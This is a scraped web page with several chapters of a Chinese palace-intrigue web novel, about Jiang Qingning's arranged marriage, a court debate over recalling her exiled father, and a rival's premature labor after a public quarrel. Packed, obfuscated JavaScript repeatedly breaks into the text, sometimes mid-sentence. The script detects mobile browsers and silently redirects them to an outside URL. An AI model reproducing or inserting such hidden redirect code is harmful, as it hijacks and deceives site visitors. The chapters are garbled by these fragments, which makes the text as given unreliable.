d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051204|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我在做什么,吟风弄月,伤春悲秋,等着荀臣那点微末的垂怜吗?可笑啊。” 她轻轻嗤笑一声,那笑声短促而冰冷,带着无尽的悲凉和自嘲。 “我在熬,像一块被丢在角落里的石头,日复一日地熬着,忍着他们的冷眼,受着他们的刻薄,接着他们的算计, 只因我父兄被贬,姜家失势,只因我是他们眼中,是为寻求安平伯府庇护才提前嫁过去的,可以随意轻贱地累赘!” 姜清宁声音平静,一点一点地扒出自己血淋淋的过往。 “那些年支撑我的,除了那点必须守住的嫁妆,就只有岭南辗转打听来的只言片语,每一个字,我都刻在骨头里。” 她缓缓吸了一口气,仿佛要将那积压了八年的寒意,与痛楚都压回心底。 看向脸色已然发白,眼中愤怒被惊愕,和一丝茫然取代的李幼薇。 “郡主问我为何答应贺宁?为何不理会秦休?” 姜清宁微微侧首,窗外的天光勾勒出,她清瘦而坚毅的侧脸轮廓上,唇角似乎弯了一下,说出的话语却分外清醒与决绝。 “因为情爱是这世间最无用,也最奢侈的东西,它填不饱流放岭南亲人的肚子,挡不住京城豺狼的獠牙,更暖不热那龙椅上,一道旨意便能让人骨肉分离,家破人亡的帝王心肠!” “在我姜清宁的棋盘上,情爱连一颗边角余子都算不上。” 她的目光锐利,直刺李幼薇心底。 一声刺耳的碎响,猛地打破花厅里令人窒息的死寂。 李幼薇踉跄着后退一步,脸色煞白如纸,再无半分方才的骄矜与愤怒,只剩下巨大的惊骇和茫然。 漂亮杏眼里的火焰熄灭,取而代之的是难以置信的震惊,以及窥见深渊般的恐惧。 姜清宁她不是攀附权贵,她不是移情别恋,她眼中看到的,根本就不是儿女情长,风花雪月。 她看到一个冰冷残酷的棋局,而那执棋的手,指向的是至高无上的皇帝。 李幼薇不敢再多想下去。 第151章心动 “郡主告知我,若你是我,你会怎么选择?” “可是,这根你选不选择秦休,有什么关联?” “剩下的,郡主当真想要听吗?” “……” 李幼薇一顿,方才被姜清宁引导,联想到的结果,已经是她所不能承受的。 之后的,自己当真是有胆量继续听下去吗? “我只问你,你是否当真不愿意再选择秦休?” “我以为我表达的已经够明显了。”姜清宁底叹一声,“郡主金枝玉叶,和我这种人攀扯,恐怕只会让陛下误解,往后你我还是不要再接触的好。” 李幼薇瞬间红了眼眶,“姜清宁,你是也要舍弃我?” 姜清宁摇头:“清宁是不想让郡主,将来陷入两难的境地。” 李幼薇浑身一震,她眼中的泪水盈了满眶。 “放肆!你怎么和郡主说话的?!”侍女大怒,上前训斥。 “退下!” 李幼薇底呵一声,最后看了眼平静的姜清宁,再也忍不住似得,转身提着裙摆跑走。 “郡主!郡主您的等等我们!” 侍女们一惊,连忙跟在李幼薇的身后跑走。 紫苏上前,心疼的看着姜清宁:“大小姐,您当真做好决定了吗?事情不是到无法挽回的地步,或许?” 姜清宁摇头:“没有或许,既然做了,就要从一始终。” 犹豫就是给敌人见缝插针的机会,她容不得败北。 李幼薇不知道自己到底是怎么了。 在上午听到皇帝赐婚旨意的时候,得知全程姜清宁并无不悦,甚至乐意接受旨意,并且这几天一直对秦休视而不见。 她无疑是不理解的,清楚姜清宁不是攀龙附凤的人,况且贺宁除了比秦休年轻两岁,别的倒也都差不多。 可在方才姜清宁的一番言论之下,她罕见的迟疑了,甚至在姜清宁让两人保持距离的时候。 不同于来时的愤怒,她更多的是难过。 在这个京城之中,除林皇后所出的大公主陆娇之外,她没有任何值得交心的朋友,姜清宁算是第二个。 方才恍惚一瞬间,她甚至觉得悲伤大于愤怒。 宁阁外。 李幼薇停下脚步,伫立在原地,看着台阶下的秦休,风光霁月,年轻权臣,功高震主。 她无疑是喜欢秦休的,可现在她不想喜欢了。 李幼薇擦去眼泪,仪态端庄的走到秦休面前:“秦休,我不想喜欢你了。” 秦休敛眸,向身后伸手,青之眼疾手快的递上帕子。 他递到李幼薇面前:“郡主金枝玉叶,本就有更好的人选,秦休心有所属多年,注定不是郡主的另一半,还望郡主此后珍重。” 李幼薇听到这话,心底忽然释然了。 她轻笑一声,止住哽咽,颔首道:“秦休,可惜了,姜清宁到最后都没选择你,你秦休比我好不到哪里去,甚至我走了出来,你却估计走不出来了。” 话音落下,李幼薇越过秦休,抬步走向马车。 侍女们追上她的身影,扶着李幼薇上马车,而后,平王府华贵的马车浩浩荡荡的离去。 秦休盯着宁阁紧闭的大门,眼底搅弄着深沉的风云与诡谲。 青之垂头丧气的回到秦休身边,叹气道:“大人,还是一样的结果,姜大小姐并不愿意见您。” “无妨。”秦休垂眸,转身道,“回去吧。” 秦国公府。 书房。 秦休坐在太师椅上,面前是各州的舆图,他单手拄着下巴,沉思着下一步的发展。 青之和青冥对视一眼,互相让对方上前。 青冥不耐,开口问:“大人,事到如今,干脆抢亲吧?” 秦休看了他一眼,其中的嫌弃意味十分明显。 “陛下的赐婚旨意上,并没有言明大婚的日期,只是让内务府赶工,说明陛下心里还有别的打算,甚至将我和贺宁都笼罩了进去。” 青之头都要炸了:“那我们现在要如何,总不能站着等着刀架在脖子上吧?” 秦休闭眸:“派去岭南的人有消息了吗?” 青冥连忙上前:“还没有,估计是快了。” 秦休点头:“让人加快进程,姜伯父他们必须加紧回来了,否则一朝变天,便是生死一念之间。” 青冥眼中闪过惊愕:“是,属下这就让人加快速度。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051205|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 话音落下,他连忙转身而出。 半月后。 宁阁。 贺宁看着眼前娴静煮茶的姜清宁,眼底的笑意弥漫出来。 “这样宁静的日子,倒是我从前在北疆之时,从未想象过的。” 姜清宁面色淡然,为他斟茶道:“世子殿下莫非是心急了,在催我?” 贺宁和姜清宁对视,接过茶盏道:“毕竟姜小姐传来的密信,让我不敢不加快进程起来。” 刀就架在镇北王府的脖子上,试问谁敢每日安眠? “殿下不必担忧,一切有我。”姜清宁轻笑,似乎很是愉悦他的反应。 “我发现,自己当真是看不懂你。” 贺宁陈述事实,他眼中早没了当初对姜清宁初见时的惊艳,只有对合作盟友的欣赏与纯粹喜欢。 “我打算明日上朝之时,与陛下青之,让姜伯父姜大哥和伯母回京,岭南八年功绩,足以抵消从前的‘罪过’。” “不妨赌一赌,是我先成功,还是秦休先成功?” 姜清宁饮茶的动作一顿,遮去眼底的情绪,轻笑道:“好啊,看是我的动作快,还是你的动作快。” “赌什么?” “千金楼?” “你的产业?” “殿下聪慧。” 贺宁诧异片刻,最终无奈摇头道:“和你比,我当真是太差劲了。” “姜清宁,还好你不是男子,否则京城的儿郎,一个都比不过你。” 他语气真挚,并无半分的掺假。 姜清宁含笑:“我很满意自己,不用殿下数次重复。” “你总能把别人的好意拒之门外。” 贺宁无奈,他还要开口,下一刻,被一声清脆的女声止停。 “阿姐!我们回来啦!” 一道鹅黄色的身影出现,姜清晞戴着帷帽,开心的跑入花厅,身后跟着一身粉色锦裙的姜月柔。 “小妹你跑慢些,小心摔着!”姜月柔刚喊完,隔着帷帽,看到坐在上首的男子。 “见过世子殿下。”姜月柔行礼,而后拉着姜清晞连忙拐出去。 贺宁微愣,看着离去的身影,心口那处微震。 第152章请旨 金銮殿。 贺宁一身绯袍,立于阶下,脊背挺直,朗声道: “陛下,臣与姜氏得蒙天恩赐婚,不胜惶恐感激,然婚姻大事,尤重亲长见证, 臣父远在北疆为国戍边,自不敢以私废公,唯臣之未婚妻姜氏清宁,其父兄姜柏川、姜清淮奉旨镇守岭南多年,劳苦功高, 臣斗胆,恳请陛下恩准姜将军父子回京述职,一则全臣与清宁成婚之礼,二则令姜氏骨肉团圆,以彰陛下仁德体恤之心!” 贺宁话音在空旷的大殿中回荡,周遭一片寂静。 细微的议论声涌动,无一不在表明: 这贺宁,当真是初生牛犊不怕虎。 荀臣脸色变得极其难看,他猛地上前一步,恭敬道: “陛下,贺大人此言差矣,姜家父子奉旨镇守岭南乃是陛下天恩,岭南虽远亦是国之重地,岂能因儿女私情擅离职守?” 他刻意提高声调,目光扫过周围,带着明显的引导意味。 “况且姜氏清宁已是再嫁之身,其父兄归来与否,于婚礼体面又有何增益,贺大人少年意气莫要被私情蒙蔽因小失大,耽误了朝廷正事!” 贺宁依旧直视前方,声音沉稳:“荀大人此言恕臣不敢苟同,姜将军父子镇守岭南八载,克尽职守,未曾有失, 如今岭南局势平稳,陛下召其回京述职,既是对功臣的体恤,亦是朝廷对戍边将领应有的关怀, 至于清宁,臣敬重她坚韧品性,其父兄乃国之功臣,能得他们见证臣与清宁大婚是臣之幸,亦是陛下恩泽所至的佳话,何来因小失大之说?” “你!” 荀臣被堵得哑口无言,脸涨得通红。 “好了。” 陆禀终于开口,打断争执。 他目光在阶下众人脸上缓缓扫过,最终落在队列前方一直沉默的秦休身上。 “秦爱卿,” 陆禀的声音带着一丝恰到好处的征询意味,“你执掌刑狱,兼管天下刑名,对各地官员任免调度亦多有见地。” “依你之见,贺卿所请,召姜家父子回京述职可行否,于岭南边防可有妨碍?” 所有人的目光瞬间聚焦在秦休身上。 这位权倾朝野的秦国公世子,手握刑部与大理寺,更是曾令北狄闻风丧胆的杀神,还与姜清宁有着扑朔迷离的绯闻。 一时之间,所有人都在等秦休的回答。 秦休缓缓抬起眼睑,深邃的眸子平静无波,平视着前方的御阶。 他手持玉笏,姿态恭敬而疏离,声音低沉平稳,听不出丝毫情绪起伏: “回陛下,臣以为,官员述职乃朝廷常例,亦是陛下考校臣工、体察下情之良策, 姜家父子镇守岭南多年,勤勉有加,陛下若念其戍边辛劳,恩旨召还,于理于法,皆无不妥。” 他微微停顿一下,仿佛在斟酌措辞,才继续道: “至于岭南边防,姜将军父子治军有方,根基已固,其麾下将佐亦多历练有成,只要调度得宜,选任得力副将署理军务,当不致动摇根本。” 这番话,四平八稳,滴水不漏。 听起来,他不仅没有反对,反而像是在为贺宁的提议提供依据。 然而,他那过于平静的语气,落在陆禀耳中,却透出另一层意味。 秦休似乎在暗示,姜家父子在岭南的影响力已经形成,离开一阵子也无妨,甚至隐隐透着一丝走了也好的意味? 陆禀冕旒下的目光微微闪动,指尖在龙椅扶手上轻轻敲击一下。 秦休的态度模棱两可,甚至有些微妙的不情愿。 这与他预想的有些不同,但更合心意。 看来贺宁在朝堂上对王焕之的**,以及与姜清宁的赐婚,已经彻底激怒秦休,两人之间的裂痕已深。 秦休不愿看到姜家父子归来,成为姜清宁乃至贺宁的助力,这很合理。 皇帝心中那点因为秦休未明确表态支持而起的疑虑,瞬间被贺秦反目的笃定所取代。 他脸上露出了然的微笑。 互相制衡,才是他想要的局面。 至于姜家父子,陆禀脑中飞快闪过八年前的旧事。 姜柏川当年手握重兵,确实功高震主。 但如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055299|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,兵权早已被自己巧妙地收回,奉国公林崇倒了,兵权更是牢牢握在自己手中。 姜家父子在岭南八年,远离京城权力中心,如同被斩断根系的浮萍,当年那些旧部,死的死,散的散,调离的调离,早已不成气候。 京城更是人事几番更迭,他们还能翻起什么浪花? 回来也好,正好放在眼皮子底下看着,让贺宁和秦休去斗,也省得在岭南天高皇帝远。 想到这里,陆禀心中大定。 他脸上的笑容显得越发宽和,却没有立刻应允贺宁。 “贺卿一片孝心,体恤未婚妻情有可原,秦爱卿所虑亦是老成持国之言。” “姜家父子戍边有功,朕亦时常念及,只是……” 他话锋一转,语气变得慎重,“岭南虽安终究是边陲重镇,姜氏父子乃定海神针,骤然离任,地方军务交接,牵一发而动全身,不可不慎。” 他目光扫过阶下神色各异的臣子,最终落在贺宁身上,带着安抚意味:“此事容朕思虑周全,与兵部、吏部再行商议,过两日再议,贺卿放心,朕定会给你和姜氏一个交代。” “谢陛下体恤!” 贺宁立刻躬身谢恩,面上依旧是感激之色。 皇帝果然不会轻易松口,这拖延既是试探,也是权衡。 “退朝!” 司礼太监尖细的嗓音响起。 京城最繁华的东大街上,街市喧嚣,人流如织,各色叫卖声、车马声、谈笑声汇成一片生动的市井画卷。 一辆素雅的青帷马车,在熙攘的人群中缓缓前行。 车内。 姜清宁一身素净的月白长裙,发髻间只簪了一支简单的羊脂白玉簪,通身上下再无多余饰物,却自有一种沉静清冷的气度。 姜清晞穿着一身簇新的鹅黄色织长裙,头上戴着精巧的珍珠发钗,紧紧依偎在姜清宁的身边,似乎惹了长姐生气在讨好。 姜月柔放下车帘,转过头,脸上带着羞涩的红晕,“前面就是锦玉阁了,听说他们新到了一批南海珍珠的头面,还有江南最新的点翠工艺,三公子最是风雅,我……” 第153章逛街 姜月柔说到未来夫婿,声音低了下去,脸上红霞更盛。 “平江侯府多年来威望很高,族中更是有男子四十无子方可纳妾的家规,你嫁过去之后只有享福的日子,这样想着我也可以放心了。” “我还听说虞升这段时日里,一直在亲力亲为地忙着婚宴,可见他对你的上心。” (一直追更的宝子可能疑惑虞升,刚回去改的,因为作者写着写着,发现林升跟奉国公府一个姓了,那边都灭门流放三族了,所以改了一下,平江侯府姓虞,后续戏份还蛮多的哈,PS:埋了很多坑,大家都还记得吗[偷笑]?) 姜月柔耳畔越来越热,羞涩地低下头,“阿姐,你先别说了,若是他婚后真的以诚待我,那我必然不会让他失望的。” 如果真能与虞升携手到老,那她这前十几年吃的苦,便当真是值得了,先苦后甜也莫过于此了。 姜清宁看着她明媚的笑容,眼中染上一丝暖意,轻轻拍了拍她的手: “放心,今日定为你挑几件称心如意的压箱底的陪嫁,锦玉阁是阿姐的生意,今日你喜欢什么只管拿就是了。” 姜月柔红了眼眶:“多谢大姐姐,若不是你当初内外接应,或许我当真是要一根白绫吊死……” 话还没说完,姜清宁抬手抵住她的唇,摇头道:“别说这些不吉利的话,新娘子就应该开开心心的。” “没错,柔姐姐,阿姐说得对,况且阿姐对我们好,我们也会对阿姐更好的。” 姜清晞偷笑,眼底的期待不可掩饰。 姜清宁低头看向依偎着自己的小妹,声音放得更柔,“你还未及笄,不好诸多打扮,待会儿给你选几朵漂亮的珠花,好不好?” “好,我要蝴蝶的、蜻蜓的、珍珠的,那些好看的阿姐都买给我好不好!” 姜清晞激动的立刻仰起脸,用脆生生的语调回答,眼里满是期待。 马车在锦玉阁气派热闹的大门前稳稳停下。 早有眼尖的伙计迎了上来,恭敬地引着这三位尊贵的女客入内。 “东家您来了,今日可是来查账的?”伙计看到她腰上的令牌,顿时更加俯首帖耳。 “只是来选些首饰罢了,刘掌柜人呢?” 姜清宁环视一圈,看到热络的宾客和推销伙计,眼底闪过满意。 “掌柜得在二楼接待宾客,小的这就去喊掌柜的!”伙计连忙弓腰道。 “不必麻烦了,我记得你是刘掌柜的徒弟,就由你来接待她们二人吧。” 姜清宁想到刘掌柜的话,开口给他一个机会。 伙计激动道:“是!小的这就让人给您上茶水,两位小姐这边请。” 姜清宁颔首,转身环视她收益最好的首饰铺,心中满意至极。 锦玉阁不愧是京城顶尖的首饰铺子,内里空间轩敞,装饰奢华却不落俗套。 紫檀木的多宝格上陈列着各色珍宝,金玉翡翠,珍珠玛瑙,在柜台上的大件更是流光溢彩,硕大的夜明珠在烛火的映衬下熠熠生辉。 空气中弥漫着淡淡的檀香与脂粉香气,来往都是贵妇人和大家小姐,出手阔绰不已。 姜清宁暗暗点头,思忖着让人查一查这是什么香粉,她的脂粉铺子里竟然没有,必须要最快时间内搞出更好的品来上架。 她回头看去。 姜月柔被一套镶嵌着硕大东珠,工艺繁复华丽的赤金头面吸引了目光,拉着姜清晞凑在柜台前细细观看,伙计立刻拿出来给她试戴。 姜清宁缓步踱着,目光沉静地扫过那些璀璨的饰物,神色并无太大波澜。 就在这时, 一阵尖锐刺耳的斥骂声响起。 “**胚子,眼皮子浅的东西,看什么看,这也是你能肖想的?” “也不撒泡尿,照照自己是个什么腌臜货色,给我滚远点,别污了本夫人的眼!” 傲慢的声音是从二楼临窗的贵宾区传来的,语气鄙夷地让人不禁哽了下。 姜清宁眉头微不可察地蹙了一下,抬步走上一旁的台阶,站在拐弯的梯带上,抬眸望去。 只见一个身着华贵蜀锦,腹部高高隆起的年轻妇人正叉腰站着。 她妆容精致,满头珠翠,因着神情愤怒而显得面容有些扭曲。 巧了,姜清宁微微挑眉,这正是她的好堂妹姜如意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055300|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 下一刻,她的眼神一顿,向着姜如意的肚子上看过去。 她已怀胎七月,但那肚子却大得惊人,如同揣了个巨大的球,与她略微浮肿的四肢都能形成怪异的对比。 面前被她指着鼻子骂的,是一个穿着水蓝色细布衣裙、身形单薄、低眉顺眼站在一旁的女子。 女子容貌清丽,带着一股楚楚可怜的风韵,此刻脸色苍白,眼中含泪,正是白清漪。 白清漪手里捧着一个打开的锦盒,里面似乎是一支成色不错的玉簪。 她显然只是想看看,却招来姜如意不堪入耳的辱骂。 周围已有不少夫人小姐被这动静吸引,纷纷侧目,指指点点。 “夫人息怒,妾……妾只是……”白清漪声音带着哭腔,怯懦地试图辩解。 “只是什么,天生的贱骨头,以为爬上了我夫君的床,就能飞上枝头了,我呸!” 姜如意越骂越难听,唾沫星子几乎喷到白清漪脸上,她猛地扬起手,“我叫你看,我叫你勾引我夫君!” 眼看她的巴掌就要狠狠扇在白清漪脸上。 白清漪仿佛受惊的兔子,下意识地想往后躲闪,目光慌乱地扫过一旁,正好与刚刚走上二楼,目光沉静看过来的姜清宁撞了个正着。 然而她清楚地看到,姜清宁的目光并未停在自己的脸上,而是落在姜如意异常硕大孕肚上,眉头紧锁,似乎要开口。 白清漪的瞳孔骤然一缩。 姜清宁她看出来了? 巨大的惊恐涌上心头,瞬间令白清漪忘记躲闪。 她猛地侧身一步,用自己单薄的身体,挡住姜清宁的视线。 这个突兀而明显的遮挡动作,在姜如意看来无异于一种挑衅。 “**!你还敢挡?” 姜如意的怒火瞬间被点燃。 “啪!” 一声极其清脆响亮的耳光,结结实实地扇在白清漪苍白的脸上。 力道之大,让白清漪整个人都被打得一个趔趄,踉跄着撞在旁边陈列首饰的紫檀木架上。 锦盒脱手飞出,里面的玉簪摔落在地,咔嚓一声断成两截。 第154章因果 刘掌柜的心都跟着跳起来了,望着被摔断的极品玉簪,心疼得仿佛在滴血。 “哎哟,安平伯夫人您这……这这这……我的玉簪啊!” 刘掌柜圆润的脸瞬间苍白不已,恨不得跟着玉簪扑在地上,他小心翼翼地捡起来,碰到姜如意的面前。 “安平伯夫人,您瞧这……” “不就是一根玉簪吗?我安平伯府买不起还是怎么着?就记在安平伯的账上,待会儿一块付钱!让我先教训这个小**一顿!” 刘掌柜一听有人付钱,立刻不吭声了,老老实实地闪身龟缩在一旁,眼神瞟到姜清宁,瞬间一亮。 白清漪脸上疼得要命,耳边是姜如意低贱她的话语。 她半边脸颊以肉眼可见的速度红肿起来,清晰浮现的五指印触目惊心,一缕鲜血顺着她的唇角缓缓淌下。 “啊!” 周围响起一片贵妇小姐们的惊呼,夹杂着低低的议论和鄙夷的目光。 “天哪,这安平伯夫人也太凶悍了吧?” “当众**,还是打一个妾室,这不有失体统吗?” “嘘小声点,人家现在是正头夫人,打个小妾怎么了,你没看那贱妾还想挡着夫人。” “啧啧,安平伯夫人这脾气可真是火爆,她肚子里可还怀着金疙瘩呢,也不怕动了胎气。” “哼,瞧她那肚子大的,看着就吓人,怕不是双胎吧?” “快看,那不是姜家大小姐,她怎么也在这?” 姜如意听着周围细碎的议论,猛地扭头,果然看见站在不远处,神色平静的姜清宁。 “姜清宁?” 姜如意声音愤怒,眼中似乎要喷火,“你来干什么,怎么,也是来看我的笑话吗,还是来看这个**如何勾引我的夫君?” 她挺着那硕大的吓人的肚子,像一头被激怒的母兽,手指颤抖地指向姜清宁,又愤愤地看向狼狈伏在地上,捂着脸颊无声流泪的白清漪。 姜清宁没有理会姜如意的叫嚣。 她的目光落在姜如意的腹部,心中的猜测逐渐清晰,眉头越蹙越紧。 白清漪挣扎着想从地上爬起来,正好对上姜清宁那双洞悉一切的眸子。 巨大的恐惧瞬间淹没了她。 不行, 她绝不能让姜清宁说出来, 白清漪几乎是手脚并用地爬到姜如意脚边。 不顾脸上的剧痛和**,死死抱住姜如意的腿,仰起满是泪痕和指印的脸,哀声哭求: “夫人息怒,都是妾的错,是妾不懂规矩,求您看在腹中公子的份上,千万保重身体,妾这就走!” 锦玉阁门外。 荀臣闭眸坐在马车之中,他如今只要一回到府中,姜如意就会找各种肚子疼为借口,让他忍着厌恶陪着她,偏生母亲还一味地纵容姜如意,委屈了自己。 想到这里,荀臣的脸色难看至极,心中无比的后悔,本就因朝堂上贺宁的咄咄逼人,还有皇帝的拖延而心烦意乱。 他垂眸沉思着,却被马车外激烈的讨论声吸引。 听到姜如意三个字,他眉眼狠狠一跳,一股不祥的预感浮上心头。 他快速走下马车,拨开门口**看热闹的人群,大步走了进去。 刚一踏入富丽堂皇的大厅,抬步走上二楼,眼前的一幕就如同一记重锤,狠狠砸在他的脸上。 姜如意正挺着肚子,如同市井泼妇般叉腰怒骂眼前人,满脸的刻薄与狰狞让他不敢相认。 地上跪着白清漪半边脸红肿不堪,嘴角带血,发髻散乱,衣衫不整,正死死抱着姜如意的腿,哭得凄惨无比。 荀臣感受到周围无数道幸灾乐祸的目光。 他看到站在不远处,神色清冷的姜清宁。 姜清宁如同一个高高在上的旁观者,冷冷地看着眼前的这一幕。 “夫君?” 姜如意看到荀臣,被他脸上厌恶的神情吓住,嚣张的气焰瞬间熄灭,声音有些颤抖。 白清漪浑身一僵,抱着姜如意腿的手松开,转身看向荀臣,泪水流得更凶,却连哭都不敢发出声音。 荀臣的胸膛剧烈起伏着,死死盯着姜如意的肚子,又扫过地上狼狈不堪的白清漪,眼前猛地一黑。 “姜如意,你好得很!” 荀臣的声音像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063574|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从牙缝里挤出来,“我安平伯府的脸面都被你丢尽了,还不给我滚回去!” 他咆哮出声,顾不得任何体统,猛地转身,头也不回地冲出锦玉阁的大门。 “荀臣,你干什么去,你回来!” 姜如意心头涌现出巨大的恐慌,还没来得及迈步,腹中骤然传来的剧烈绞痛让她眼前一黑,整个人软软地朝地上倒去。 “夫人!” 白清漪惊呼,下意识地想伸手去扶,手伸到一半却又猛地僵住,眼中闪过复杂的光芒,最终眼睁睁地看着姜如意沉重的身子摔倒在地。 “我的肚子好痛!” 姜如意蜷缩在地上,一滩刺目粘稠的鲜红在她的裙下洇染开来。 浓重的血腥味瞬间弥漫开。 “啊!血!是血!” “天啊!她这是要生了?” “快,快叫大夫!” “不对,快去请稳婆!” 整个锦玉阁二楼瞬间乱作一团。 惊呼声、慌乱的脚步声混杂在一起,夫人小姐们吓得花容失色,纷纷后退避让。 白清漪跌坐在一旁,捂着自己红肿的脸颊。 她看着地上痛苦翻滚、身下不断涌出鲜血的姜如意,脸上血色褪尽,身体控制不住地发抖。 姜清宁不动声色地将两个妹妹护在身后,遮住她们的视线。 她对身边强作镇定的知秋低声道:“带月柔和清晞从侧门走,立刻回府。” 姜清宁紧紧抓住姜清宁的衣角,身体微微颤抖。 姜清宁还以为她是害怕,刚要开口安慰她。 她仰起脸,眼睛里满是惊惶和不解:“阿姐,她会死吗?我听说你当年生荀莫离的时候大出血,是不是比她还要痛?你是怎么熬过来的?阿姐,我心疼你。” 话音落下,她已然哽咽,眼泪豆大地掉下来,泣不成声。 姜清宁垂下眼眸,抬手拂去她鬓边一缕散乱的发丝。 她轻声开口,带着令人心悸的平静:“种什么因,得什么果,她选的路,结局早已注定。” “阿姐活到现在,不正是说明阿姐是个有福之人吗?” 第155章善人 姜清宁有条不紊地安排人喊大夫,再将人送回到安平伯府之中。 “刘掌柜,其余的都交给你了,这是他们自己**导致的果,无论如何都怪不到我们锦玉阁的头上。” “是,掌柜的放心,我一定会按照您的吩咐行事。”刘掌柜忙道。 姜清宁颔首,转身看着两个妹妹:“今日冲撞见红不吉利,咱们先回去。” 她又看向姜月柔:“回去阿姐带你们去库房选料子,让人花了花样子再做,定会给你风风光光的压箱底。” 姜月柔脸色隐隐发白,眼瞧着就是被姜如意大出血的模样吓到了。 “阿姐我没事,不过是首饰罢了,就是如意流了太多血,我心里实在害怕。” “别担心,我们先回去。” 姜清宁懂她话里的意思,心底微沉,女人只要成婚生子,就会走这么一遭。 只要怀孕,危险就无处不在,她当年可是切身的经历。 翌日。 安平伯府。 姜如意在鬼门关挣扎了一天一夜,耗尽所有力气,才将那在她的孩子生出来。 令所有人都没想到的是,怀孕的肚子硕大,但孩子出生时却瘦弱得像只小猫。 稳婆抱着哭声微弱的孩子出来时,连声道夫人命大,是个男胎。 “老天保佑,老天保佑啊,我的嫡孙到底是出生了。“ 安平伯老夫人小心翼翼地抱过孩子,但只一眼,眼底的喜悦便被冲淡了七分。 “这孩子瘦小如此,能养活吗?” 稳婆颤颤巍巍道:“本就是早产儿,仔细将养三月,等待足月了,便会好养上许多的。” 安平伯老夫人这才满意点头:“我这儿媳本就是有福气的,太医,如意的身子什么时候能恢复,还能生孩子吗?” 太医刚出来,就听到这话,没好气地叹气: “夫人怀胎本就过度损耗了身子,如今早产,经此一劫,已是油尽灯枯,再难恢复,更遑论生育?” 一时间,众人都明白了,虽然姜如意她活了下来,却已是残破之躯。 “无妨,一个也行,到底是安平伯府的嫡孙,我亲自教养长大就行了。” 安平伯老夫人神色淡淡,抱着孩子进房去了。 荀臣面色淡漠地看着这一切,仿佛一切斗与自己无关一般。 荀莫离紧紧抿唇坐在一旁,打从姜如意生产开始,便没人注意到他了,他好饿,好渴,好想睡觉。 偏院。 白清漪得知消息,恨得几乎将一口银牙咬碎。 “可惜我日日费尽心思,在姜如意的安胎药里加的那些料,分量明明足以让她生不下来或是难产,竟然这般都没能要了这**的命!还让她生下了儿子!” 小桃怯懦的抬头,心里虽然疑惑药不都是她去下的吗,但表面上却不敢反驳。 “姨娘别灰心,如今这**的身子已经毁了,伯爷更是不会待见她,只要姨娘抓住机会笼络住伯爷的心,不愁没机会翻身的。” “我倒是想!可惜表哥自从纳了我之后,却没再碰过我!” 白清漪指甲深深掐进掌心,渗出血丝,眼中翻涌着浓烈的不甘和怨毒。 荀臣坐在太师椅中,脸色阴沉得能滴出水。 他回想起母亲怀中孱弱的孩子,心头没有半分为人父的喜悦,只有无尽的烦躁。 这孩子的来历,无时无刻地都在提醒他当初的不堪。 荀莫离低着头,小小的身躯绷得紧紧的,手指用力绞着衣角,眼中是掩饰不住的难过和失落。 荀臣看着这一幕,心中掠过一丝复杂。 宁阁。 紫苏一路飞快地跑回院子里,脸上的解气分外明显,见谁都能给半个笑脸。 “小姐!姜如意早产生了个男婴,瘦弱不已都被老夫人抱去自个院子里养着了,还有姜如意的身子已经彻底毁了,太医都说她已经油尽灯枯了!” 姜清宁一顿,“自作孽不可活,她当初做了那么多恶事,到底是报应在自己的身上了。” 话音落下,她陷入沉思,身边都是喜悦的神情,姜清宁却无半分笑意。 “岭南的家书还没消息吗?” 姜清宁蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 